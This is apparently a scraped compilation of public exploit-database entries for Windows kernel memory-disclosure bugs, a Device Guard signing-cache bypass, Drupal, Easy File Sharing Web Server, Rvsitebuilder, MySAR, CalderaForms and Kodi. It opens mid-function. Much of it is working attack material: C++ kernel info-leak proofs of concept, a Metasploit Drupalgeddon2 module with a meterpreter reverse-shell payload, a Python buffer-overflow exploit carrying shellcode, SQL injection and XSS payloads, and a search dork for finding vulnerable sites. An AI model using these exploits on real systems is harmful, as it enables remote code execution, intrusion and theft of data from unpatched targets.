  for (ULONG i = 0; i < size; i++) {
    ptr[i] = byte;
  }
}

VOID SprayKernelStack() {
  static bool initialized = false;
  static HPALETTE(NTAPI *EngCreatePalette)(
    _In_ ULONG iMode,
    _In_ ULONG cColors,
    _In_ ULONG *pulColors,
    _In_ FLONG flRed,
    _In_ FLONG flGreen,
    _In_ FLONG flBlue
    );

  if (!initialized) {
    EngCreatePalette = (HPALETTE(NTAPI*)(ULONG, ULONG, ULONG *, FLONG, FLONG, FLONG))GetProcAddress(LoadLibrary(L"gdi32.dll"), "EngCreatePalette");
    initialized = true;
  }

  static ULONG buffer[256];
  MyMemset((PBYTE)buffer, 'A', sizeof(buffer));
  EngCreatePalette(1, ARRAYSIZE(buffer), buffer, 0, 0, 0);
  MyMemset((PBYTE)buffer, 'B', sizeof(buffer));
}

int main() {
  static BYTE OutputBuffer[1024];

  SprayKernelStack();

  SIZE_T ReturnLength = 0;
  NTSTATUS Status = NtQueryVirtualMemory(GetCurrentProcess(), GetModuleHandle(NULL), MemoryBasicInformation, OutputBuffer, sizeof(OutputBuffer), &ReturnLength);

  printf("---------- MemoryBasicInformation Status: %x, Return Length: %x\n", Status, ReturnLength);
  PrintHex(OutputBuffer, ReturnLength);

  SprayKernelStack();

  ReturnLength = 0;
  Status = NtQueryVirtualMemory(GetCurrentProcess(), GetModuleHandle(NULL), MemoryPrivilegedBasicInformation, OutputBuffer, sizeof(OutputBuffer), &ReturnLength);

  printf("---------- MemoryPrivilegedBasicInformation Status: %x, Return Length: %x\n", Status, ReturnLength);
  PrintHex(OutputBuffer, ReturnLength);

  return 0;
}
HireHackking 
/*
We have discovered that the nt!NtQueryInformationProcess system call invoked with the ProcessImageFileName (0x1B) information class discloses uninitialized kernel memory to user-mode clients. The vulnerability affects 64-bit versions of Windows 7 to 10.

According to the ZwQueryInformationProcess function documentation [1], the ProcessImageFileName information class returns a UNICODE_STRING structure containing the name of the image file for the specific process. The definition of the structure is as follows:

--- cut ---
  typedef struct _LSA_UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
  } UNICODE_STRING, *PUNICODE_STRING;
--- cut ---

On x64 builds, the compiler introduces 4 bytes of padding between the "MaximumLength" and "Buffer" fields, in order to align the "Buffer" pointer to an 8-byte boundary. These padding bytes are never initialized in the kernel's local copy of the structure, and so they are returned to the user-mode caller in this form. Interestingly, on Windows 7, the uninitialized bytes originate from a pool allocation, while on Windows 10, they come from uninitialized kernel stack memory (specifically from the stack frame of the nt!PspInitializeFullProcessImageName function, according to our tests).

The problem is best illustrated by running the attached proof-of-concept program, which invokes the nt!NtQuerySystemInformation syscall with the affected information class and prints the contents of the output buffer on the screen. The result of running it in our test Windows 7 environment is as follows:

--- cut ---
  C:\>NtQueryInformationProcess_ImageFileName.exe
  Status: 0, Return Length: 98
  00000000: 86 00 88 00 55 55 55 55 e0 ca 77 3f 01 00 00 00 ....UUUU..w?....
  00000010: 5c 00 44 00 65 00 76 00 69 00 63 00 65 00 5c 00 \.D.e.v.i.c.e.\.
  00000020: 48 00 61 00 72 00 64 00 64 00 69 00 73 00 6b 00 H.a.r.d.d.i.s.k.
  00000030: 56 00 6f 00 6c 00 75 00 6d 00 65 00 32 00 5c 00 V.o.l.u.m.e.2.\.
  00000040: 4e 00 74 00 51 00 75 00 65 00 72 00 79 00 49 00 N.t.Q.u.e.r.y.I.
  00000050: 6e 00 66 00 6f 00 72 00 6d 00 61 00 74 00 69 00 n.f.o.r.m.a.t.i.
  00000060: 6f 00 6e 00 50 00 72 00 6f 00 63 00 65 00 73 00 o.n.P.r.o.c.e.s.
  00000070: 73 00 5f 00 49 00 6d 00 61 00 67 00 65 00 46 00 s._.I.m.a.g.e.F.
  00000080: 69 00 6c 00 65 00 4e 00 61 00 6d 00 65 00 2e 00 i.l.e.N.a.m.e...
  00000090: 65 00 78 00 65 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? e.x.e...........

  C:\>NtQueryInformationProcess_ImageFileName.exe
  Status: 0, Return Length: 98
  00000000: 86 00 88 00 71 71 71 71 e0 ca d2 3f 01 00 00 00 ....qqqq...?....
  00000010: 5c 00 44 00 65 00 76 00 69 00 63 00 65 00 5c 00 \.D.e.v.i.c.e.\.
  00000020: 48 00 61 00 72 00 64 00 64 00 69 00 73 00 6b 00 H.a.r.d.d.i.s.k.
  00000030: 56 00 6f 00 6c 00 75 00 6d 00 65 00 32 00 5c 00 V.o.l.u.m.e.2.\.
  00000040: 4e 00 74 00 51 00 75 00 65 00 72 00 79 00 49 00 N.t.Q.u.e.r.y.I.
  00000050: 6e 00 66 00 6f 00 72 00 6d 00 61 00 74 00 69 00 n.f.o.r.m.a.t.i.
  00000060: 6f 00 6e 00 50 00 72 00 6f 00 63 00 65 00 73 00 o.n.P.r.o.c.e.s.
  00000070: 73 00 5f 00 49 00 6d 00 61 00 67 00 65 00 46 00 s._.I.m.a.g.e.F.
  00000080: 69 00 6c 00 65 00 4e 00 61 00 6d 00 65 00 2e 00 i.l.e.N.a.m.e...
  00000090: 65 00 78 00 65 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? e.x.e...........
--- cut ---

It is clearly visible that the 4 bytes at offsets 0x4-0x7 are equal to the markers inserted by Special Pools, and would otherwise contain leftover data previously stored in that pool memory region. On Windows 10, we have observed portions of kernel pointers and other leftover data from the kernel stack within these 4 bytes of padding.

Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/

#include <Windows.h>
#include <winternl.h>
#include <ntstatus.h>

#include <cstdio>

#pragma comment(lib, "ntdll.lib")

VOID PrintHex(PVOID Buffer, ULONG dwBytes) {
  PBYTE Data = (PBYTE)Buffer;
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }

    printf("\n");
  }
}

int main() {
  static BYTE OutputBuffer[1024];

  ULONG ReturnLength = 0;
  NTSTATUS Status = NtQueryInformationProcess(GetCurrentProcess(), ProcessImageFileName, OutputBuffer, sizeof(OutputBuffer), &ReturnLength);

  printf("Status: %x, Return Length: %x\n", Status, ReturnLength);
  PrintHex(OutputBuffer, ReturnLength);

  return 0;
}
HireHackking 
/*
We have discovered that the nt!NtQueryInformationTransactionManager system call invoked with the TransactionManagerRecoveryInformation (4) information class may disclose uninitialized kernel pool memory to user-mode clients. The vulnerability affects Windows 7 to 10, 32/64-bit.

The output structure for the infoclass in question is an 8-byte TRANSACTIONMANAGER_RECOVERY_INFORMATION:

--- cut ---
  typedef struct _TRANSACTIONMANAGER_RECOVERY_INFORMATION {
    ULONGLONG LastRecoveredLsn;
  } TRANSACTIONMANAGER_RECOVERY_INFORMATION, *PTRANSACTIONMANAGER_RECOVERY_INFORMATION;
--- cut ---

We've observed the entire returned value to consist of uninitialized bytes originating from a kernel pool allocation, and more specifically an object of type TmTransactionManagerObjectType.

The issue can be reproduced by running the attached proof-of-concept program on a system with the Special Pools mechanism enabled for ntoskrnl.exe. Then, it is clearly visible that all 8 bytes of output are equal to the markers inserted by Special Pools, and would otherwise contain leftover data that was previously stored in that memory region:

--- cut ---
  C:\>NtQueryInformationTransactionManager.exe
  Status: 0, Return Length: 8
  00000000: 2d 2d 2d 2d 2d 2d 2d 2d ?? ?? ?? ?? ?? ?? ?? ?? --------........

  C:\>NtQueryInformationTransactionManager.exe
  Status: 0, Return Length: 8
  00000000: 3f 3f 3f 3f 3f 3f 3f 3f ?? ?? ?? ?? ?? ?? ?? ?? ????????........

  C:\>NtQueryInformationTransactionManager.exe
  Status: 0, Return Length: 8
  00000000: 57 57 57 57 57 57 57 57 ?? ?? ?? ?? ?? ?? ?? ?? WWWWWWWW........

  C:\>NtQueryInformationTransactionManager.exe
  Status: 0, Return Length: 8
  00000000: 71 71 71 71 71 71 71 71 ?? ?? ?? ?? ?? ?? ?? ?? qqqqqqqq........
--- cut ---

Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/

#include <Windows.h>
#include <winternl.h>
#include <ntstatus.h>
#include <KtmW32.h>

#include <cstdio>

#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "KtmW32.lib")

extern "C" {
  NTSTATUS NTAPI NtQueryInformationTransactionManager(
    _In_      HANDLE                               TransactionManagerHandle,
    _In_      TRANSACTIONMANAGER_INFORMATION_CLASS TransactionManagerInformationClass,
    _Out_     PVOID                                TransactionManagerInformation,
    _In_      ULONG                                TransactionManagerInformationLength,
    _Out_opt_ PULONG                               ReturnLength
  );
};

VOID PrintHex(PVOID Buffer, ULONG dwBytes) {
  PBYTE Data = (PBYTE)Buffer;
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }

    printf("\n");
  }
}

int main() {
  HANDLE hTransactionMgr = CreateTransactionManager(NULL, NULL, TRANSACTION_MANAGER_VOLATILE, 0);
  
  TRANSACTIONMANAGER_RECOVERY_INFORMATION Information;
  DWORD ReturnLength = 0;
  NTSTATUS Status = NtQueryInformationTransactionManager(hTransactionMgr, TransactionManagerRecoveryInformation, &Information, sizeof(Information), &ReturnLength);

  printf("Status: %x, Return Length: %x\n", Status, ReturnLength);
  PrintHex(&Information, sizeof(Information));

  CloseHandle(hTransactionMgr);

  return 0;
}
HireHackking 
/*
We have discovered that the nt!NtQueryVirtualMemory system call invoked with the MemoryImageInformation (0x6) information class discloses uninitialized kernel stack memory to user-mode clients. The vulnerability affects 64-bit versions of Windows 8 to 10.

The layout of the corresponding output buffer is unknown to us; however, we have determined that an output size of 24 bytes is accepted. At the end of that memory area, 4 uninitialized bytes from the kernel stack can be leaked to the client application.

The attached proof-of-concept program demonstrates the disclosure by spraying the kernel stack with a large number of 0x41 ('A') marker bytes, and then calling the affected system call with the MemoryImageInformation info class and the allowed output size. An example output is as follows:

--- cut ---
  Status: 0, Return Length: 18
  00000000: 00 00 f3 0c f7 7f 00 00 00 20 02 00 00 00 00 00 ......... ......
  00000010: 00 00 00 00 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ....AAAA........
--- cut ---

It is clearly visible here that the 4 trailing bytes copied from ring-0 to ring-3 remained uninitialized. Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/

#include <Windows.h>
#include <winternl.h>

#include <cstdio>

#pragma comment(lib, "ntdll.lib")

#define MemoryImageInformation ((MEMORY_INFORMATION_CLASS)6)

extern "C" {
  typedef DWORD MEMORY_INFORMATION_CLASS;
  NTSTATUS NTAPI NtQueryVirtualMemory(
    _In_      HANDLE                   ProcessHandle,
    _In_opt_  PVOID                    BaseAddress,
    _In_      MEMORY_INFORMATION_CLASS MemoryInformationClass,
    _Out_     PVOID                    MemoryInformation,
    _In_      SIZE_T                   MemoryInformationLength,
    _Out_opt_ PSIZE_T                  ReturnLength
  );
};

VOID PrintHex(PVOID Buffer, ULONG dwBytes) {
  PBYTE Data = (PBYTE)Buffer;
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }

    printf("\n");
  }
}

VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) {
  for (ULONG i = 0; i < size; i++) {
    ptr[i] = byte;
  }
}

VOID SprayKernelStack() {
  static bool initialized = false;
  static HPALETTE(NTAPI *EngCreatePalette)(
    _In_ ULONG iMode,
    _In_ ULONG cColors,
    _In_ ULONG *pulColors,
    _In_ FLONG flRed,
    _In_ FLONG flGreen,
    _In_ FLONG flBlue
    );

  if (!initialized) {
    EngCreatePalette = (HPALETTE(NTAPI*)(ULONG, ULONG, ULONG *, FLONG, FLONG, FLONG))GetProcAddress(LoadLibrary(L"gdi32.dll"), "EngCreatePalette");
    initialized = true;
  }

  static ULONG buffer[256];
  MyMemset((PBYTE)buffer, 'A', sizeof(buffer));
  EngCreatePalette(1, ARRAYSIZE(buffer), buffer, 0, 0, 0);
  MyMemset((PBYTE)buffer, 'B', sizeof(buffer));
}

int main() {
  static BYTE OutputBuffer[1024];

  SprayKernelStack();

  SIZE_T ReturnLength = 0;
  NTSTATUS Status = NtQueryVirtualMemory(GetCurrentProcess(), GetModuleHandle(NULL), MemoryImageInformation, OutputBuffer, sizeof(OutputBuffer), &ReturnLength);

  printf("Status: %x, Return Length: %x\n", Status, ReturnLength);
  PrintHex(OutputBuffer, ReturnLength);

  return 0;
}
HireHackking 
Windows: CiSetFileCache TOCTOU CVE-2017-11830 Incomplete Fix
Platform: Windows 10 1709 (including Win10S)
Class: Security Feature Bypass

Summary:
The fix for CVE-2017-11830 is insufficient to prevent a normal user application adding a cached signing level to an unsigned file by exploiting a TOCTOU in CI leading to circumventing Device Guard policies.

Description:
The previous issue I reported was due to not checking for write access on the target file handle when setting the cache. This allows a user application to abuse a TOCTOU and rewrite the file after the hash has been generated for the file. The only changed code seems to be below:

FILE_OBJECT target_file;
ObReferenceObjectByHandle(FileHandle, 0, *IoFileObjectType, &target_file); 
if (target_file->SharedWrite) {
   return STATUS_SHARING_VIOLATION;
}

if (target_file->WriteAccess) {  ← Additional check for the file being opened for write.
      if ((PsGetProcessProtection(PsGetCurrentProcess()) & 7) != ProtectedProcessLight)
        return STATUS_SHARING_VIOLATION;
}

The fix was to add a check that the target file passed isn’t writable. This combined with the check for FILE_SHARE_WRITE should mean the user can’t hold on to a writable file handle. However, when the file handle is converted to a file object with ObReferenceObjectByHandle the desired access is 0, which means we can pass a handle with any granted access including SYNCHRONIZE or READ_CONTROL, which do not respect file sharing. So we can still exploit this issue by doing the following:

1. Open the file for write access.
2. Reopen another handle to the file for SYNCHRONIZE access. This works as this access right can be used regardless of the sharing mode.
3. Set cached signing level through the handle opened in 2.
4. Wait for oplock, rewrite file using handle opened in 1. Release oplock.

Proof of Concept:

I’ve provided a PoC as a C# project. It will allow you to “cache sign” an arbitrary executable. If you want to test this on a locked down system such as Win10S you’ll need to sign the PoC (and the NtApitDotNet.dll assembly) so it’ll run. Or use it via one of my .NET based DG bypasses, in that case you can call the PoC_CacheSignature.Exploit.Run method directly. It copies notepad to a file, attempts to verify it but uses an oplock to rewrite the contents of the file with the untrusted file before it can set the kernel EA.

1) Compile the C# project. It will need to grab the NtApiDotNet v1.1.7 package from NuGet to work.
2) Execute the PoC passing the path to an unsigned file and to the output  “cache signed” file, e.g. poc unsigned.exe output.exe
3) You should see it print the signing level, if successful.
4) You should not be able to execute the unsigned file, bypassing the security policy enforcement.

NOTE: If it prints an exception then the exploit failed. The opened catalog files seemed to be cached for some unknown period of time after use so if the catalog file I’m using for a timing signal is already open then the oplock is never broken. Just rerun the poc which will pick a different catalog file to use. Also the output file must be on to a NTFS volume with the USN Change Journal enabled as that’s relied upon by the signature level cache code. Best to do it to the boot drive as that ensures everything should work correctly.

Expected Result:
Access denied or at least an error setting the cached signing level.

Observed Result:
The signing level cache is applied to the file with no further verification. You can now execute the file as if it was signed.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44466.zip
HireHackking 
# Exploit Title: Rvsitebuilder CMS Database Backup Download
# Exploit Author: Hesam Bazvand
# Contact: black.king066@gmail.com
# Software Link: http://www.rvsitebuilder.com
# Version: All Version
# Tested on: Windows 7 / Kali Linux
# Category: WebApps
# Dork : inurl:rvsindex.php & /rvsindex.php?/user/login
 
*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#

Exploit : 
		Http://Target/rvsDbBackup.sql
HireHackking 
# Exploit Title: MySQL Squid Access Report 2.1.4 Multiple Vulnerabilities
# Date: 14-13-2018
# Software Link: https://sourceforge.net/projects/mysar/
# Exploit Author: Keerati T.
# Version: 2.1.4
# Tested on: Linux

1. Description
SQL injection and Cross site script vulnerabilities are found on ALL
parameter of MySAR.

2. Proof of Concept
FOR EXAMPLE
- SQL injection
http://server/mysar/index.php?a=IPSummary&date=[SQLi]
-XSS
http://server/mysar/index.php?a=IPSummary&date=2018-04-14
"><script>alert(1)</script>

3. Timeline
8-3-2018 - Report on their Github. (
https://github.com/coffnix/mysar-ng/issues/12)
-- 1 month later, no any response from vendor. --
14-4-2018 - Public.
HireHackking 
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
  
    include Msf::Exploit::Remote::HttpClient
  
    def initialize(info={})
      super(update_info(info,
        'Name'           => 'Drupalgeddon2',
        'Description'    => %q{
          CVE-2018-7600 / SA-CORE-2018-002
          Drupal before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1
          allows remote attackers to execute arbitrary code because of an issue affecting
          multiple subsystems with default or common module configurations.

          The module can load msf PHP arch payloads, using the php/base64 encoder.

          The resulting RCE on Drupal looks like this: php -r 'eval(base64_decode(#{PAYLOAD}));'
        },
        'License'        => MSF_LICENSE,
        'Author'         =>
          [
            'Vitalii Rudnykh',      # initial PoC
            'Hans Topo',            # further research and ruby port
            'José Ignacio Rojo'     # further research and msf module
          ],
        'References'     =>
          [
            ['SA-CORE', '2018-002'],
            ['CVE', '2018-7600'],
          ],
        'DefaultOptions'  =>
        {
          'encoder' => 'php/base64',
          'payload' => 'php/meterpreter/reverse_tcp',
        },
        'Privileged'     => false,
        'Platform'       => ['php'],
        'Arch'           => [ARCH_PHP],
        'Targets'        =>
          [
            ['User register form with exec', {}],
          ],
        'DisclosureDate' => 'Apr 15 2018',
        'DefaultTarget'  => 0
      ))
  
      register_options(
        [
          OptString.new('TARGETURI', [ true, "The target URI of the Drupal installation", '/']),
        ])
  
      register_advanced_options(
        [

        ])
    end
  
    def uri_path
      normalize_uri(target_uri.path)
    end

    def exploit_user_register
      data = Rex::MIME::Message.new
      data.add_part("php -r '#{payload.encoded}'", nil, nil, 'form-data; name="mail[#markup]"')
      data.add_part('markup', nil, nil, 'form-data; name="mail[#type]"')
      data.add_part('user_register_form', nil, nil, 'form-data; name="form_id"')
      data.add_part('1', nil, nil, 'form-data; name="_drupal_ajax"')
      data.add_part('exec', nil, nil, 'form-data; name="mail[#post_render][]"')
      post_data = data.to_s

      # /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax
      send_request_cgi({
        'method'   => 'POST',
        'uri'      => "#{uri_path}user/register",
        'ctype'    => "multipart/form-data; boundary=#{data.bound}",
        'data'     => post_data,
        'vars_get' => {
          'element_parents' => 'account/mail/#value',
          'ajax_form'       => '1',
          '_wrapper_format' => 'drupal_ajax',
        }
      })
    end
  
    ##
    # Main
    ##
  
    def exploit
      case datastore['TARGET']
      when 0
        exploit_user_register
      else
        fail_with(Failure::BadConfig, "Invalid target selected.")
      end
    end
  end
HireHackking 
# Exploit Title: Easy File Sharing Web Server 7.2 stack buffer overflow
# Date: 03/24/2018
# Exploit Author: rebeyond - http://www.rebeyond.net
# Vendor Homepage: http://www.sharing-file.com/
# Software Link: http://www.sharing-file.com/efssetup.exe
# Version: 7.2
# CVE: CVE-2018-9059
# Tested on: Windows XP Professional SP3
#
# Description:
# Attackers just need to construct a malicious login request packet,and send the packet to the server.The server can be pwned
#
#
# The stack trace is as follows:
# (40d8.2980): Access violation - code c0000005 (first chance)
# r
# eax=41414141 ebx=00000001 ecx=ffffffff edx=08fb62a0 esi=08fb6280 edi=08fb62a0
# eip=61c277f6 esp=08fb61fc ebp=08fb6214 iopl=0         nv up ei pl nz na pe nc
# cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
# *** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\EFS Software\Easy File Sharing Web Server\sqlite3.dll -
# sqlite3!sqlite3_errcode+0x8e:
# 61c277f6 81784c97a629a0  cmp     dword ptr [eax+4Ch],0A029A697h ds:002b:4141418d=????????
#
# kb
# ChildEBP RetAddr  Args to Child
# WARNING: Stack unwind information not available. Following frames may be wrong.
# 083b6214 61c6286c 00001183 0000115d 085c4d44 sqlite3!sqlite3_errcode+0x8e
# *** WARNING: Unable to verify checksum for fsws.exe
# *** ERROR: Module load completed but symbols could not be loaded for fsws.exe
# 083b6254 004968f4 00000001 00000000 083b6280 sqlite3!sqlite3_declare_vtab+0x3282
# 083b6274 004975a3 083b6298 00000000 083b75fc fsws+0x968f4
# 00000000 00000000 00000000 00000000 00000000 fsws+0x975a3


import requests
host='192.168.50.30'
port='80'

buf='A'*4071
buf +='\x12\x45\xfa\x7f' #jmp esp
buf +='A'*12
buf +='\xeb\x36'  #jmp 0x36
buf +='A'*42
buf +='\x60\x30\xc7\x61'*2 #must be valid address
buf +='A'*4
#shellcode to execute calc.exe on remote server
buf += "\xdb\xdc\xd9\x74\x24\xf4\x58\xbb\x24\xa7\x26\xec\x33"
buf += "\xc9\xb1\x31\x31\x58\x18\x03\x58\x18\x83\xe8\xd8\x45"
buf += "\xd3\x10\xc8\x08\x1c\xe9\x08\x6d\x94\x0c\x39\xad\xc2"
buf += "\x45\x69\x1d\x80\x08\x85\xd6\xc4\xb8\x1e\x9a\xc0\xcf"
buf += "\x97\x11\x37\xe1\x28\x09\x0b\x60\xaa\x50\x58\x42\x93"
buf += "\x9a\xad\x83\xd4\xc7\x5c\xd1\x8d\x8c\xf3\xc6\xba\xd9"
buf += "\xcf\x6d\xf0\xcc\x57\x91\x40\xee\x76\x04\xdb\xa9\x58"
buf += "\xa6\x08\xc2\xd0\xb0\x4d\xef\xab\x4b\xa5\x9b\x2d\x9a"
buf += "\xf4\x64\x81\xe3\x39\x97\xdb\x24\xfd\x48\xae\x5c\xfe"
buf += "\xf5\xa9\x9a\x7d\x22\x3f\x39\x25\xa1\xe7\xe5\xd4\x66"
buf += "\x71\x6d\xda\xc3\xf5\x29\xfe\xd2\xda\x41\xfa\x5f\xdd"
buf += "\x85\x8b\x24\xfa\x01\xd0\xff\x63\x13\xbc\xae\x9c\x43"
buf += "\x1f\x0e\x39\x0f\x8d\x5b\x30\x52\xdb\x9a\xc6\xe8\xa9"
buf += "\x9d\xd8\xf2\x9d\xf5\xe9\x79\x72\x81\xf5\xab\x37\x7d"
buf += "\xbc\xf6\x11\x16\x19\x63\x20\x7b\x9a\x59\x66\x82\x19"
buf += "\x68\x16\x71\x01\x19\x13\x3d\x85\xf1\x69\x2e\x60\xf6"
buf += "\xde\x4f\xa1\x95\x81\xc3\x29\x74\x24\x64\xcb\x88"

cookies = dict(SESSIONID='6771', UserID=buf,PassWD='')
data=dict(frmLogin='',frmUserName='',frmUserPass='',login='')
requests.post('http://'+host+':'+port+'/forum.ghp',cookies=cookies,data=data)
HireHackking 
# Exploit Title: CalderaForms 1.5.9.1 - multiple XSS
# Date: 02-03-2018
# Exploit Author: Federico Scalco
#    fscalco at mentat dot is
#    @mindpr00f
# Vendor Homepage: https://calderaforms.com/
# Software Link: https://wordpress.org/plugins/caldera-forms/
# Vulnerable App: https://github.com/CalderaWP/Caldera-Forms/archive/1.5.9.1.zip
# Version: 1.5.9.1 (older versions may also be affected)
# Tested on: WordPress 4.9.4
# CVE : CVE-2018-7747



1) SOFTWARE DESCRIPTION
"Caldera Form is a free and powerful WordPress plugin that creates
responsive forms with a simple drag and drop editor."
It is reported to have 100,000+ active installations at the moment of this
writing.



2) VULNERABILITY OVERVIEW
The application fails to validate user-supplied input, hence it stores the
unsanitized buffer in the database.
The vulnerabilities reported here will be exploitable ONLY if certain
conditions are met, which is not the case in a CF's default configuration
(although still being vulnerable).

A note on buffers containing strings:
    single (') and double (") quotes are correctly escaped, backticks (`)
are not.



3) DETAILS

3.a) Stored XSS - public
When submitting a CF form, the plugin will show a greeting message to
notify the user that everything went ok.
This message is editable by the site's admin and can contain part of the
user-supplied data (e.g. they're first name). In this case, simply inject
HTML code into the parameter which gets returned in the greeting message
and submit the POST request. A JSON response will follow, containing, among
other data:
- the greeting message ("html", which contains the malicious payload that
gets executed right away)
- form's ID ("form_id")
- data's ID ("cf_id")

{
    "data":{"cf_id":"<DATA_ID>"},
    "html":"<GREETING MESSAGE>",
    "type":"...",
    "form_id":"<FORM_ID>",
    "form_name":"...",
    "status":"..."
}

At this point, to reach the stored XSS, simply build a GET request using
the obtained data.
The malicious payload will be found at

    http(s)://<target>/cf-api/<FORM_ID>/?cf_su=1&cf_id=<DATA_ID>

Vulnerable config:
    - form > form settings > capture entries > checked (ON by default)
    - form > form settings > success message > add some of the user
supplied fields (absent by default)

To replicate this on a fresh install:
    - Create a new, default, contact form
    - Go to "Form Settings" tab and edit the success message to include,
for example, the user's first name.
e.g.: Form has been successfully submitted. Thank you %first_name%.
    - Save & publish
    - As an unauthenticated user, submit the contact form injecting HTML
code in first name's parameter. XSS will be triggered right away
    - To recall the payload as a stored XSS, read the POST's response and
point your browser to
        <target>/cf-api/<FORM_ID>/?cf_su=1&cf_id=<DATA_ID>



3.b) Stored XSS - admin interface
CalderaForms gives the ability to notify the admin via email everytime a
form gets submitted.
Furthermore, an admin can choose to enable an "email transacion log" for
debugging purposes (disabled by default).
If this configuration is in place, a copy of the malicious payload
described above will be shown in the administration panel, when visiting
that form's malicious entry's details.

Vulnerable config:
    - form > form settings > capture entries > checked (ON by default)
    - form > email > debug mailer > checked (OFF by default)

To replicate this on a fresh install:
    - Enable the transaction log (form -> edit -> email tab -> check
"Enable email send transaction log")
    - Replicate the injection described at 3.a (all fields can be used this
time) as an unauthenticated user
    - Back again in the admin interface, visit form's entries, identify the
malicious one and click on the "view" button

    This will pop a details window and trigger the XSS.



3.c) Importing a weaponized form - admin interface
CalderaForms gives the ability to import a form (JSON format).
A malicious form field can be crafted which will trigger an XSS when said
field gets displayed/edited after the import.

It's worth noting that this flaw does not depend on custom configurations,
although it's not "remotely" and "automatically" exploitable. The problem
here arise, for example, when an admin imports a malicious JSON.

To replicate this on a fresh install:
    - Create a form and export it (JSON format)
    - Edit the json and inject HTML code. "label" and "slug" parameters
were tested, others may be vulnerable too.
    e.g.:
    {
        ...
            "label":"First<script>alert(1);</script> Name",
            "slug":"first_name\"/><script>alert(2);</script>"
        ...
    }

    - Import the malicious form to trigger the XSS in the administration
interface



4) REMEDIATION
Update to the latest version available.

If any personalized configuration is found exploitable, the following steps
can be followed, as a temporary mitigation strategy, if no update is
available or updating is not an option, for whatever reason:
    - for every form, under "Form Settings", prune every variable that gets
returned to the user as a success message
    - for every form, under the "Email" tab, un-check "Enable email send
transaction log"
    - for every form that gets imported perform a thorough review



5) TIMELINE & FINAL NOTES

    02-03-18 > vendor gets notified
    06-03-18 > vendor replies
    07-03-18 > CVE requested and assigned
    27-03-18 > patch released
    27-03-18 > vulnerability disclosed

Special thanks go to Josh Pollock and his team, from Caldera, who invested
passion and energy in understanding and patching these issues.
HireHackking 
=============================================
MGC ALERT 2018-003
- Original release date: March 19, 2018
- Last revised:  April 16, 2018
- Discovered by: Manuel Garcia Cardenas
- Severity: 4,8/10 (CVSS Base Score)
- CVE-ID: CVE-2018-8831
=============================================

I. VULNERABILITY
-------------------------
Kodi <= 17.6 - Persistent Cross-Site Scripting

II. BACKGROUND
-------------------------
Kodi (formerly XBMC) is a free and open-source media player software
application developed by the XBMC Foundation, a non-profit technology
consortium. Kodi is available for multiple operating systems and hardware
platforms, with a software 10-foot user interface for use with televisions
and remote controls.

III. DESCRIPTION
-------------------------
Has been detected a Persistent XSS vulnerability in the web interface of
Kodi, that allows the execution of arbitrary HTML/script code to be
executed in the context of the victim user's browser.

IV. PROOF OF CONCEPT
-------------------------
Go to: Playlist -> Create

Create a playlist injecting javascript code:

<img src=x onerror=alert(1)>

The XSS is executed, in the victim browser.

V. BUSINESS IMPACT
-------------------------
An attacker can execute arbitrary HTML or script code in a targeted user's
browser, this can leverage to steal sensitive information as user
credentials, personal data, etc.

VI. SYSTEMS AFFECTED
-------------------------
Kodi <= 17.6

VII. SOLUTION
-------------------------
Vendor include the fix:
https://trac.kodi.tv/ticket/17814

VIII. REFERENCES
-------------------------
https://kodi.tv/

IX. CREDITS
-------------------------
This vulnerability has been discovered and reported
by Manuel Garcia Cardenas (advidsec (at) gmail (dot) com).

X. REVISION HISTORY
-------------------------
March 19, 2018 1: Initial release
April 16, 2018 2: Last revision

XI. DISCLOSURE TIMELINE
-------------------------
March 19, 2018 1: Vulnerability acquired by Manuel Garcia Cardenas
March 19, 2018 2: Send to vendor
March 30, 2018 3: Vendo fix
April 16, 2018 4: Sent to lists

XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.

XIII. ABOUT
-------------------------
Manuel Garcia Cardenas
Pentester
HireHackking 
'''

